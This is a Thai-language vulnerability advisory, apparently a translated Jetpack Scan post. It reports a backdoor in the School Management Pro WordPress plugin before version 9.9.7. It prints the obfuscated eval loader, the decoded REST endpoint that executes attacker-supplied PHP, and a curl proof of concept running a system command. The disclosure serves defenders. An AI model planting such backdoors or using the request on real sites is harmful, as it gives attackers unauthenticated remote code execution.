พบแบ็คดอร์ในปลั๊กอิน School Management Pro สำหรับ WordPress

เผยแพร่แล้ว: 2022-05-20

เวอร์ชันก่อน 9.9.7 ของปลั๊กอิน WordPress “The School Management Pro” จาก Weblizar มีแบ็คดอร์ที่ช่วยให้ผู้โจมตีที่ไม่ผ่านการตรวจสอบสิทธิ์สามารถรันโค้ด PHP ตามอำเภอใจบนไซต์ที่ติดตั้งปลั๊กอินได้ หากคุณติดตั้งเวอร์ชันก่อนหน้าบนไซต์ของคุณ เราแนะนำให้อัปเกรดเป็นเวอร์ชัน 9.9.7 หรือใหม่กว่าทันที นี่เป็นปัญหาด้านความปลอดภัยที่สำคัญ

อ่านต่อเพื่อดูรายละเอียดทั้งหมด

รายละเอียด:

  • ชื่อปลั๊กอิน: The School Management Pro
  • บุ้งของปลั๊กอิน: school-management-pro , school-management-pro-9.9.6 , school-management-pro-9.9.5 , the-school-management ฯลฯ
  • ผู้จัดจำหน่าย: Weblizar
  • เวอร์ชันที่ได้รับผลกระทบ: < 9.9.7
  • CVE: CVE-2022-1609
  • คะแนน CVSS: 10.0 (วิกฤต)
  • เวกเตอร์ CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • WPVULNDB: https://wpscan.com/vulnerability/e2d546c9-85b6-47a4-b951-781b9ae5d0f2

ส่วนหนึ่งของงานที่ Jetpack Scan ให้การสนับสนุนธุรกิจ WordPress ที่โฮสต์โดยการตรวจสอบไฟล์ที่น่าสงสัยที่พบในเว็บไซต์ที่เราโฮสต์ โดยปกติแล้ว สาเหตุเกิดจากไฟล์ถูกตั้งค่าสถานะโดยหนึ่งในลายเซ็นของเรา หรือเจ้าของเว็บไซต์พบสิ่งน่าสงสัยและต้องการความเห็นจากเรา ตามลักษณะของสิ่งต่าง ๆ บางครั้งไฟล์เหล่านี้ไม่เป็นอันตราย บางส่วนมีผลบวกที่ผิดพลาด และบางไฟล์เป็นมัลแวร์สายพันธุ์ใหม่หรือรูปแบบต่างๆ ที่ต้องการการทำงานมากขึ้นในการจัดประเภทอย่างเหมาะสม

อย่างไรก็ตามบางครั้งสิ่งที่เราได้รับก็น่าสนใจยิ่งขึ้นเมื่อรวมกัน

เมื่อสองสามสัปดาห์ก่อนเหตุการณ์ดังกล่าวเกิดขึ้น ทีมสนับสนุนที่ส่งต่อของ WordPress.com ได้ติดต่อเราเกี่ยวกับโค้ดที่เป็นอันตรายซึ่งสร้างความสับสนและชัดเจนซึ่งพบได้ในปลั๊กอินบนไซต์ต่างๆ

}
$_fc = eval("\x65\x76\x61\x6c(\x67\x7a".chr($_x = 0x70 - 7).chr($_x += 5).chr($_x -= 8) . "\x6c\x61\x74" . "\x65\x28\x62"."\x61\x73\x65\x36"."\x34\x5f\x64\x65\x63\x6f\x64\x65\x28'fY9BasMwEEXX8ikmECIbnAukJJAW77ooSaCLUsTYHjsilu2O5JRQfPdKDs2mbbTQQu/9mS8sS4WF010bg2SyTmGvlW61kylUQ3tFCXxFgqnW1hGrSeNucBRHQkg0S0MmJ/YJ2eiCWksy9QSZ8RIUIQ25Y1daCbDewOuL2mX7g9oTn4lXq6ddtj1sH5+zdHILbJoci5MM7q0CzJk+Br8ZpjL+zJFrC+sbWG5qcqpHRmPj5GFydAUxaGvJ+QHBf5N5031W2h7lu5+0WMAMyPTu8i//I303OsGfjoLO2Pzm13JjuMfw6SQS/m304Bs='" . str_repeat(chr(0x29), 3)."\x3b");
class WLSM_Crypt_Blowfish_DefaultKey

หลังจากการถอดรหัสซอร์สโค้ดที่สร้างความสับสนสองรอบแล้ว ข้อมูลนี้จะให้:

add_action( 'rest_api_init', function() {
        register_rest_route(
                'am-member', 'license',
                array(
                        'methods'  => WP_REST_Server::CREATABLE,
                        'callback' => function( $request ) {
                                $args = $request->get_params();
                                if ( isset( $args['blowfish'] ) && ! empty( $args['blowfish'] ) && isset( $args['blowf'] ) && ! empty( $args['blowf'] ) ) {
                                        eval( $args['blowf'] );
                                }
                        },
                )
        );
} );

ตัวโค้ดเองก็ไม่ได้น่าสนใจเท่าไหร่ แต่เป็นแบ็คดอร์ที่ใส่เข้าไปในโค้ดตรวจสอบใบอนุญาตของปลั๊กอินอย่างเห็นได้ชัด อนุญาตให้ผู้โจมตีเรียกใช้โค้ด PHP โดยพลการบนไซต์โดยติดตั้งปลั๊กอินดังที่เห็นในการพิสูจน์แนวคิดด้านล่าง:

$ curl -s -d 'blowfish=1' -d "blowf=system('id');" 'http://localhost:8888/wp-json/am-member/license'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/wp-content/plugins/school-management-pro-9.9.4/admin/inc/manager/WLSM_LC.php(683) : eval()'d code(1) : eval()'d code(9) : eval()'d code:1) in /var/www/html/wp-includes/rest-api/class-wp-rest-server.php on line 1713

นี่คือสิ่งที่เรามักจะเห็นในปลั๊กอินที่ไม่มีค่า สิ่งนี้เกิดขึ้นบ่อยครั้งจนเรามีกรณีที่คล้ายกันในโพสต์ก่อนหน้านี้ ข้อสันนิษฐานแรกของเราคือสิ่งนี้ก็เป็นเช่นนั้นเช่นกัน เจ้าของไซต์ได้ติดตั้งปลั๊กอินจากแหล่งที่ร่มรื่น

อย่างไรก็ตาม เรามั่นใจว่าได้รับปลั๊กอินที่ติดตั้งโดยตรงจากผู้ขาย สิ่งนี้ยังได้รับการยืนยันอย่างรวดเร็วจากผู้ขายว่าได้ลบรหัสที่ละเมิดออกหลังจากที่ได้รับทราบถึงการมีอยู่ของมัน

เราได้พยายามขอข้อมูลเพิ่มเติมจากผู้ขายว่าเมื่อใดที่แบ็คดอร์ถูกฉีด เวอร์ชันใดที่ได้รับผลกระทบ และโค้ดที่ลงเอยในปลั๊กอินตั้งแต่แรกเป็นอย่างไร ความพยายามนี้ไม่ประสบความสำเร็จ เนื่องจากผู้ขายกล่าวว่าพวกเขาไม่รู้ว่าโค้ดดังกล่าวเข้ามาในซอฟต์แวร์ของตนเมื่อใดและอย่างไร

เราได้เห็นเวอร์ชันอย่างน้อยจาก 8.9 ที่มีแบ็คดอร์ในระบบที่โฮสต์ของเรา แต่เนื่องจากเราไม่มีข้อมูลที่ชัดเจนเกี่ยวกับเวลาที่แบ็คดอร์ปรากฏตัวครั้งแรก เราจึงต้องถือว่าเวอร์ชันใดๆ ก่อน 9.9.7 จะได้รับผลกระทบ

การตรวจจับและการแจ้งเตือนเกี่ยวกับปัญหานั้นซับซ้อนยิ่งขึ้นโดยปลั๊กอินที่ทำงานภายใต้ทากต่าง ๆ จำนวนหนึ่ง ซึ่งมักใช้ทากที่มีหมายเลขเวอร์ชัน ในระบบโฮสต์ของเรา เราได้เห็นตัวแปรเหล่านี้อย่างน้อย:

  • school-management
  • school-management-v*
  • school-management-pro
  • school-management-pro-*
  • the-school-management

เวอร์ชันฟรีจากที่เก็บปลั๊กอิน WordPress.org ไม่มีรหัสใบอนุญาต และไม่ได้รับผลกระทบจากแบ็คดอร์นี้

เส้นเวลา

2022-05-04: ทีมสนับสนุนของ WordPress.com ที่ยกระดับขึ้นพบโค้ดที่ฉีดเข้าไป และติดต่อ Jetpack Scan เพื่อวิเคราะห์และตรวจสอบการค้นพบ หลังจากยืนยันว่าเป็นแบ็คดอร์ พวกเขาแจ้งผู้ขาย

2022-05-05: ผู้ขายยืนยันว่าโค้ดที่ฉีดนั้นอยู่ในการแจกจ่ายจริง และให้เวอร์ชัน 9.9.7 แก่เราที่ซึ่งแบ็คดอร์จะถูกลบออก เรายืนยันว่าสะอาด

2022-05-06: ผู้จำหน่ายเผยแพร่เวอร์ชัน 9.9.7 ให้กับลูกค้าอย่างจริงจังและสนับสนุนให้พวกเขาอัปเดต

2022-05-10: ผู้ขายตอบคำถามเพิ่มเติมของเราว่าพวกเขารู้หรือไม่ว่าเมื่อใดที่ประตูหลังถูกเพิ่มเข้ามา แต่อ้างว่าพวกเขาไม่รู้ พวกเขาให้เวอร์ชันก่อนหน้า 9.9.4 ซึ่งรวมถึงแบ็คดอร์

บทสรุป

เราขอแนะนำว่าไซต์ใดก็ตามที่มีเวอร์ชันก่อนหน้า 9.9.7 ของ The School Management Pro ติดตั้งอัปเกรดทันที

ที่ Jetpack เราทำงานอย่างหนักเพื่อให้แน่ใจว่าเว็บไซต์ของคุณได้รับการปกป้องจากช่องโหว่ประเภทนี้ เราขอแนะนำให้คุณมีแผนความปลอดภัยสำหรับไซต์ของคุณที่มีการสแกนไฟล์ที่เป็นอันตรายและการสำรองข้อมูล Jetpack Security เป็นหนึ่งในตัวเลือกการรักษาความปลอดภัย WordPress ที่ยอดเยี่ยมเพื่อให้แน่ใจว่าไซต์และผู้เยี่ยมชมของคุณปลอดภัย

เครดิต

งานวิจัยนี้เป็นความร่วมมือระหว่าง WordPress.com ยกระดับทีมสนับสนุนกับ Nic Sevic, Thom Stackhouse และ Joshua Goode และ Jetpack Scan กับ Harald Eilertsen และ Fioravante Cavallari ขอขอบคุณ Benedict Singer สำหรับคำติชมและการแก้ไข